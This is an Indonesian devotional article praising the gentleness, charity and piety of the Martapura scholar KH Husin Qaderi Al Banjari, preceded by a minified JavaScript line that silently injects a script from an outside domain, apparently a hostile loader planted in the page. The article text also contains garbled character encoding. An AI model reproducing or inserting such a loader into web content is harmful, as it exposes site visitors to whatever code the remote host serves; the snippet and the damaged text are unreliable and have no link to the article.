(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ibrah

Menyebarkan Kasih Sayang

Kelemah lembutan adalah ciri yang nampak pada diri orang shaleh. Hal yang demikian merupakan buah dari melawan hawa nafsu, yang tentu tidak semua orang dianugerahi Tuhan dapat bersikap seperti itu.

Satu di antara sekian banyak ulama yang memiliki kelemahlembutan ini adalah KH Husin Qaderi Al Banjari, Desa Tunggul Irang, Martapura. Sebagaimana diceritakan, selama menjabat sebagai Qadi di Martapura, beliau kerap mempersatukan pasangan suami-isteri yang ingin bercerai.

Mereka (pasangan suami-istri) yang pada awalnya ngotot akan bercerai, setelah mendengar nasehat beliau yang penuh kelembutan, akhirnya kembali rukun berkat dari kelembutan orang shaleh yang ilmunya luar biasa ini.

Selama menjadi Qadi, KH Husin Qaderi tidak pernah mengambil uang gaji. Beliau selalu menaruh uang gajinya di laci, yang kemudian disumbangkan pada orang yang lebih berhak memiliki.

Di antara amalan beliau adalah mengkhatamkan AlqurÃ¢â‚¬â„¢an dalam satu malam. Shalat dengan wudhu shalat isya kurang lebihÃ‚Â 40 tahun lamanya. Wallahu Ã¢â‚¬Ëœalam.

Sumber: Majelis Bani Ismail

Penulis: Ben Syaifi